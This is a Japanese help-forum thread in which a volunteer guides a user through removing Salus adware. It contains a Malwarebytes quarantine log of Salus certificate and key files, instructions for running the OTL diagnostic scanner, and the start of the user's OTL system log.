C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-delivery.media-tractor.com-67d65d1b69aab973969655253708329899e106aa#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-delivery.media-tractor.com-67d65d1b69aab973969655253708329899e106aa#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-fbstatic-a.akamaihd.net-f01a81f9c6c0a1ffb26b477fa38145ce428a4ff9#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-fbstatic-a.akamaihd.net-f01a81f9c6c0a1ffb26b477fa38145ce428a4ff9#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-fonts.adobe.com-e0538adaa1d7c4d06a7e5a163a23ff776cd7149e#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-fonts.adobe.com-e0538adaa1d7c4d06a7e5a163a23ff776cd7149e#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-fonts.googleapis.com-91aa4e4cb555911140cf8f7ced0879830597d922#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-fonts.googleapis.com-91aa4e4cb555911140cf8f7ced0879830597d922#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-get.adobe.com-82cc2bd40a49afdb8add1453699cb8d058616c66#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-get.adobe.com-82cc2bd40a49afdb8add1453699cb8d058616c66#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-get3.adobe.com-e0538adaa1d7c4d06a7e5a163a23ff776cd7149e#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-get3.adobe.com-e0538adaa1d7c4d06a7e5a163a23ff776cd7149e#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-googleads.g.doubleclick.net-72781596d9c2608e87294d1afc2e78012ed9db87#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-googleads.g.doubleclick.net-72781596d9c2608e87294d1afc2e78012ed9db87#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-hk-aaa.net-7fc1f439571370011a6e19f11131570e5881c883#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-hk-aaa.net-7fc1f439571370011a6e19f11131570e5881c883#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-id.google.co.jp-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-id.google.co.jp-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-image.ias.rakuten.co.jp-475b4a2626f694fc3caaba78bcc0b1b7f0e75f7a#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-image.ias.rakuten.co.jp-475b4a2626f694fc3caaba78bcc0b1b7f0e75f7a#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-imedia.adk2.co-4bfc3da8c4d6274f4ca3d0b835a582e04ec99997#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-imedia.adk2.co-4bfc3da8c4d6274f4ca3d0b835a582e04ec99997#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-intext.nav-links.com-2ececc9702c9967b1be1161d605769ef5f229dcf#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-intext.nav-links.com-2ececc9702c9967b1be1161d605769ef5f229dcf#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-istatic.eshopcomp.com-a40bec501da2b59ca97e4c73ce77a2d0a8f82c3e#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-istatic.eshopcomp.com-a40bec501da2b59ca97e4c73ce77a2d0a8f82c3e#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-jsgnr.eshopcomp.com-a40bec501da2b59ca97e4c73ce77a2d0a8f82c3e#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-jsgnr.eshopcomp.com-a40bec501da2b59ca97e4c73ce77a2d0a8f82c3e#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-lh4.googleusercontent.com-9d8e4439b65bb592a7131c3d0971172df7759751#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-lh4.googleusercontent.com-9d8e4439b65bb592a7131c3d0971172df7759751#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-login.live.com-d4186b6e6d826a53c9a62ef2c0cd1b45c0e7e6c4#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-login.live.com-d4186b6e6d826a53c9a62ef2c0cd1b45c0e7e6c4#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-mtalk.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-mtalk.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-oauth.googleusercontent.com-9d8e4439b65bb592a7131c3d0971172df7759751#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-oauth.googleusercontent.com-9d8e4439b65bb592a7131c3d0971172df7759751#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-p.adpdx.com-ef90a9f894c699390883b81f5d12d1a16aadc9fe#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-p.adpdx.com-ef90a9f894c699390883b81f5d12d1a16aadc9fe#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-p.typekit.net-82145d5cb28ef32c0b8984ef9cc2109ffa5c03f4#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-p.typekit.net-82145d5cb28ef32c0b8984ef9cc2109ffa5c03f4#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-pijoto.net-d29ff667093c996d6c3b7dc3b312dc734cac3495#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-pijoto.net-d29ff667093c996d6c3b7dc3b312dc734cac3495#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-pstatic.eshopcomp.com-a40bec501da2b59ca97e4c73ce77a2d0a8f82c3e#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-pstatic.eshopcomp.com-a40bec501da2b59ca97e4c73ce77a2d0a8f82c3e#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-s-static.ak.facebook.com-23b719b5a410d3ac80aeb5f4a25adf4cc827f708#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-s-static.ak.facebook.com-23b719b5a410d3ac80aeb5f4a25adf4cc827f708#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-s3.amazonaws.com-7730b34598633e597df37ab42936d800c67bec0c#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-s3.amazonaws.com-7730b34598633e597df37ab42936d800c67bec0c#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-safebrowsing.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-safebrowsing.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-sb-ssl.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-sb-ssl.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-secure.adnxs.com-50f27e06a7ddfe11b8f563d42150626c9a320283#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-secure.adnxs.com-50f27e06a7ddfe11b8f563d42150626c9a320283#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-ssl.gstatic.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-ssl.gstatic.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-sstats.adobe.com-262f89630e931f5a4929b549dd1b4683a1c5ea7b#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-sstats.adobe.com-262f89630e931f5a4929b549dd1b4683a1c5ea7b#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-syndication.twitter.com-d4429424f0ac84f482fbd96cf1f33af232e85931#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-syndication.twitter.com-d4429424f0ac84f482fbd96cf1f33af232e85931#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-tags.mathtag.com-9fbe8b6c22e7ac021a084526b1bda73978ef3bbf#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-tags.mathtag.com-9fbe8b6c22e7ac021a084526b1bda73978ef3bbf#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-translate.googleapis.com-91aa4e4cb555911140cf8f7ced0879830597d922#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-translate.googleapis.com-91aa4e4cb555911140cf8f7ced0879830597d922#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-www.facebook.com-1f2c5432749e2b72446950dc687eb0e4d3eade7a#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-www.facebook.com-1f2c5432749e2b72446950dc687eb0e4d3eade7a#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-www.google.co.jp-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-www.google.co.jp-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-www.google.com-032e689c303e3db2d29f3e7c67588f72a94f9744#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-www.google.com-032e689c303e3db2d29f3e7c67588f72a94f9744#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-www.googleadservices.com-65d96c68e667a3f79a94d34bdf856799ed01f90c#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-www.googleadservices.com-65d96c68e667a3f79a94d34bdf856799ed01f90c#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-www.googleapis.com-91aa4e4cb555911140cf8f7ced0879830597d922#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-www.googleapis.com-91aa4e4cb555911140cf8f7ced0879830597d922#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-www.gstatic.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-www.gstatic.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-www.superfish.com-379922b07aba0722dffe21bac8045a54dc01c757#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-www.superfish.com-379922b07aba0722dffe21bac8045a54dc01c757#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-www.youradserver.com-83d90e934b1ae68a151f262327fb53c99b2c0976#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-www.youradserver.com-83d90e934b1ae68a151f262327fb53c99b2c0976#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-wwwimages2.adobe.com-e0538adaa1d7c4d06a7e5a163a23ff776cd7149e#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-wwwimages2.adobe.com-e0538adaa1d7c4d06a7e5a163a23ff776cd7149e#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\test.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\test.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\nss\certutil.exe (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\nss\mozcrt19.dll (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\nss\nspr4.dll (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\nss\nss3.dll (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\nss\plc4.dll (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\nss\plds4.dll (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\nss\smime3.dll (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\nss\softokn3.dll (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。

(終)

現在も残っている症状は、ブラウザーをクリックすると
突然「Flash Player is needed」と表示されたページが開くことがあります。
引き続き、ご助言を頂けますと幸いです。
  • mari
  • 2015/03/23 (Mon) 22:46:28
今夜最後のレスになります
作業と報告、ご苦労様です。
ログを見たところMBAMではsalusが大量に検出されてますが、それらもMBAMから処置したならいいです。

ですがまだ異常も続いてますね。
Salusもどんどん凶悪化してます。
まあ人様に迷惑をかける形で暴れないと商売できないというのは悪党の中でも底辺クラスの雑魚の所業ですから、可哀そうな存在と思って生暖かく見てあげましょう。

では続きの作業をお願いします。

次は以下のツールを準備してください。
OTL(OldTimer Listit)
ファイル直リンなので、DLしたら保存しておいてください。
http://oldtimer.geekstogo.com/OTL.exe
片付けるときは起動後に「Cleanup」ボタンを押せば自動で削除されます。

他のプログラムを起動しない状態でOTLを起動してください。
起動したら、ウィンドウの上の方にある「Scan All Users」にチェックを入れ、以下のコマンドを「Custom Scan/Fixes」にコピペしてください。

%windir%\tasks\*.job
DRIVES
BASESERVICES
%SYSTEMDRIVE%\*.exe
CREATERESTOREPOINT

その後、左上の「Run Scan」を押すとスキャン開始されます。
スキャン開始後、PC環境にもよりますが数分ほどすると、「OTL.txt」と「Extras.txt」がOTL.exeと同じ場所に作成されるはずなので、この2つのファイルをデスクトップあたりに保存しておいてください。
なお、Extras.txtは出ないこともありますが、その場合はOTL.txtだけでもいいです。

このあとOTLログを丸ごと返信に貼り付けてレスで見せてください。
ただしOTLログはかなり長くなるため、一度に送信してもfc2の文字数制限で途切れます。
なのでログも適当なところで分割して、複数回に分けてレス送信してください。

OTLでスキャンしただけでは何も変化は起きません。
この結果を見て、検出されたものを次回以降の作業で処置することになるはずです。
なお、自分から次のレスできるのは明日夜かそれ以降になるので、すみませんがご了承ください
  • 悪代官
  • 2015/03/23 (Mon) 22:57:05
Re: salusの駆除をお助けください
OTL logfile created on: 2015/03/26 21:54:55 - Run 1
OTL by OldTimer - Version 3.2.69.0 Folder = C:\Users\Tomohiko\Downloads
64bit- Ultimate Edition Service Pack 1 (Version = 6.1.7601) - Type = NTWorkstation
Internet Explorer (Version = 9.11.9600.17633)
Locale: 00000411 | Country: 日本 | Language: JPN | Date Format: yyyy/MM/dd

5.95 Gb Total Physical Memory | 4.08 Gb Available Physical Memory | 68.57% Memory free
11.90 Gb Paging File | 8.19 Gb Available in Paging File | 68.81% Paging File free
Paging file location(s): ?:\pagefile.sys [binary data]

%SystemDrive% = C: | %SystemRoot% = C:\Windows | %ProgramFiles% = C:\Program Files (x86)
Drive C: | 113.20 Gb Total Space | 42.38 Gb Free Space | 37.44% Space Free | Partition Type: NTFS
Drive D: | 442.50 Gb Total Space | 370.52 Gb Free Space | 83.74% Space Free | Partition Type: NTFS
Drive E: | 465.76 Gb Total Space | 27.45 Gb Free Space | 5.89% Space Free | Partition Type: NTFS
Drive H: | 931.28 Gb Total Space | 0.80 Gb Free Space | 0.09% Space Free | Partition Type: FAT32

Computer Name: TOMOHIKO-PC | User Name: Tomohiko | Logged in as Administrator.
Boot Mode: Normal | Scan Mode: All users | Include 64bit Scans
Company Name Whitelist: Off | Skip Microsoft Files: Off | No Company Name Whitelist: On | File Age = 30 Days

[color=#E56717]========== Processes (SafeList) ==========[/color]

PRC - [2015/03/26 21:52:58 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Users\Tomohiko\Downloads\OTL.exe
PRC - [2015/03/14 19:12:39 | 000,809,288 | ---- | M] (Google Inc.) -- C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
PRC - [2015/02/18 21:24:32 | 001,088,800 | ---- | M] (IObit) -- C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallMonitor.exe
PRC - [2015/01/13 19:56:58 | 020,398,744 | ---- | M] (Microsoft Corporation) -- D:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
PRC - [2014/07/03 02:02:36 | 000,113,152 | ---- | M] (Creative Technology Ltd) -- C:\Windows\SysWOW64\CtHdaSvc.exe
PRC - [2014/06/23 19:18:15 | 000,795,672 | ---- | M] (CyberLink Corp.) -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\PowerDVD14Agent.exe
PRC - [2014/05/02 09:10:50 | 006,311,104 | ---- | M] (FNet Co., Ltd.) -- C:\Program Files (x86)\XFastUSB\XFastUsb.exe
PRC - [2014/04/30 01:40:40 | 000,413,128 | ---- | M] (NVIDIA Corporation) -- C:\Program Files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe
PRC - [2014/01/10 14:26:44 | 001,861,968 | ---- | M] () -- C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe
PRC - [2013/12/13 16:39:30 | 001,179,232 | ---- | M] (東日本電信電話株式会社) -- C:\Program Files (x86)\NTTE\StartUpToolN\StartUpTool_e.exe
PRC - [2013/08/29 16:40:20 | 000,910,848 | ---- | M] (Creative Technology Ltd) -- D:\Program Files (x86)\Creative\Sound Blaster EVO\Sound Blaster EVO Control Panel\SBEVO.exe
PRC - [2013/04/04 14:50:32 | 000,701,512 | ---- | M] (Malwarebytes Corporation) -- D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamservice.exe
PRC - [2013/04/04 14:50:32 | 000,532,040 | ---- | M] (Malwarebytes Corporation) -- D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamgui.exe
PRC - [2013/04/04 14:50:32 | 000,418,376 | ---- | M] (Malwarebytes Corporation) -- D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamscheduler.exe
PRC - [2013/03/05 12:43:20 | 000,110,144 | ---- | M] (CyberLink) -- D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvc_P2G8.exe
PRC - [2012/05/09 18:56:54 | 000,886,272 | ---- | M] (Creative Technology Ltd) -- D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\SBRcni.exe
PRC - [2012/05/09 18:52:14 | 002,014,208 | ---- | M] (Creative Technology Ltd) -- D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\CTJckCfg.exe
PRC - [2011/12/01 10:07:20 | 000,423,424 | ---- | M] (Creative Technology Ltd) -- C:\Program Files (x86)\Creative\Shared Files\CTAudSvc.exe
PRC - [2009/02/23 19:43:12 | 000,576,000 | ---- | M] (MagicISO, Inc.) -- D:\Program Files (x86)\MagicDisc\MagicDisc.exe


[color=#E56717]========== Modules (No Company Name) ==========[/color]

MOD - [2015/03/14 19:12:37 | 014,974,280 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\41.0.2272.101\PepperFlash\pepflashplayer.dll
MOD - [2015/03/14 19:12:35 | 009,278,792 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\41.0.2272.101\pdf.dll
MOD - [2015/03/14 19:12:30 | 001,174,856 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\41.0.2272.101\libglesv2.dll
MOD - [2015/03/14 19:12:28 | 000,080,200 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\41.0.2272.101\libegl.dll
